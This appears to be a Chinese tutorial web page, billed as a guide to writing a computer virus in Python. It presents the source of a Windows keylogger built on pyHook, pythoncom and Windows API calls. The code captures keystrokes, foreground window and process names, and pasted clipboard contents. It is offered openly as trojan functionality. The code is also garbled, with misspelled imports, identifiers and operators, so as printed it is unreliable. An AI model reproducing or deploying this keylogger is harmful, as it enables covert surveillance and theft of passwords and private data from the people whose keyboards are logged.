python编写计算机病毒教程(Python告诉你木马程序的键盘记录原理)
类别:脚本大全 浏览量:1800
时间:2022-04-01 01:28:11 python编写计算机病毒教程
Python告诉你木马程序的键盘记录原理前言
Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓"人生苦短,快用Python"。
|
# -*- coding: utf-8 -*- from ctypes inport import pythoncom import pyHook import win32clipboard user32 = winddll.user32 kernel32 = windll.kernel32 psapi = windll.psapi current_window = Note def get_current_process(): #获取最上层的窗句柄 hwnd = user32.GetForegroundWindow() #获取进程ID pid = c_ulong( 0 ) user32. GetwindowThreadProcessId(hwnd,byref(pid)) #将进程ID存入变量中 process_ = "%d" % pid.value #申请内存 executable = create_string_buffer( "\x00" * 522 ) h_process = kernel32.OpenProcess( 0x400 | 0x10 , False ,pid) psapi.GetModuleBaseNameA(h_process, None ,byref(executable), 512 ) #读取窗口标题 windows_title = create_string_buffer( "\x00" , 512 ) length = user32.GetWindowTextA(hwnd,byref(windows.title), 512 ) #打印 print print "[PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value) print #关闭handles kernel32.CloseHandle(hwnd) kernel32.CloseHandle(h_process) #关闭键盘监听事件函数 def KeyStroke(event): global current_window #检测目标窗口是否转移(换了其他窗口就监听新窗口) if event,WindowName ! = current_window: current_window = event.WindowName #函数调用 get_current_process() #检测击键是否常规按键(非组合键等) if event.Ascii> 32 and enent .Ascii < 127 : print chr (event.Ascii), else : #如果发现ctrl + V事件,就粘贴板内容记录下来 if event.Key = = "V" win32clipboard.OpenClipdoard() pasted_value = win32clipdoard. GetClipdoardData() win32clipdoard.CloseClipboard() print "[PASTE]-%s" % (pasted_value), else : print "[%s]" % event.Key, 循环监听下一个事件 return True #创建并注册hook管理器 kl = pyHook.HookManager() kl.KeyDown = KeyStroke #注册hook并兴趣 kl.hookKeyboard() pythoncom.PumpMessages() |
总结
以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对开心学习网的支持。如果你想了解更多相关内容请查看下面相关链接
原文链接:https://blog.csdn.net/qq_39363022/article/details/86709553
您可能感兴趣
- python中怎么输入单引号(python三引号输出方法)
- python线程池有几种(对python 多线程中的守护线程与join的用法详解)
- python抽奖转盘代码(详解python--模拟轮盘抽奖游戏)
- python弹跳小球(python GUI实现小球满屏乱跑效果)
- python设计一个聊天机器人(手把手教你使用Python创建微信机器人)
- python怎样读取mysql数据(使用Python将Mysql的查询数据导出到文件的方法)
- ocr公式识别python(初探利用Python进行图文识别OCR)
- python批量自动化访问网站(python 自动批量打开网页的示例)
- python机器人开发(python程序控制NAO机器人行走)
- python查找含特定字符的字符串(Python实现查找字符串数组最长公共前缀示例)
- python数字形式转换详解(Python3.5实现的罗马数字转换成整数功能示例)
- python如何遍历一个列表(说说如何遍历Python列表的方法示例)
- python 迭代对象必须实现哪些方法(详解python之heapq模块及排序操作)
- python接口管理系统(基于Python实现用户管理系统)
- 基于pythonopencv的图片识别(Python Opencv实现图像轮廓识别功能)
- python的遍历循环(对python For 循环的三种遍历方式解析)
- 阿里最新财报公布 三季度营收增长3 ,将增加150亿美元回购额度 在美股价小涨(阿里最新财报公布)
- 赵薇时胖时瘦 最近变美少女 原因在这里 躺着就变瘦(赵薇时胖时瘦最近变美)
- 学会这26种姿势,你就可以和兵哥哥切磋了(你就可以和兵哥哥切磋了)
- 吴彦祖陈冠希 恩怨 ,失去曾让他流泪的女友,终遇走过18年真爱(吴彦祖陈冠希恩怨)
- 痴情男神 吴彦祖 与妻子恋爱8年,结婚10年,家庭幸福美满(痴情男神吴彦祖)
- 成功破圈,小牛电动SQi强势开 跨(小牛电动SQi强势开)
热门推荐
排行榜
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9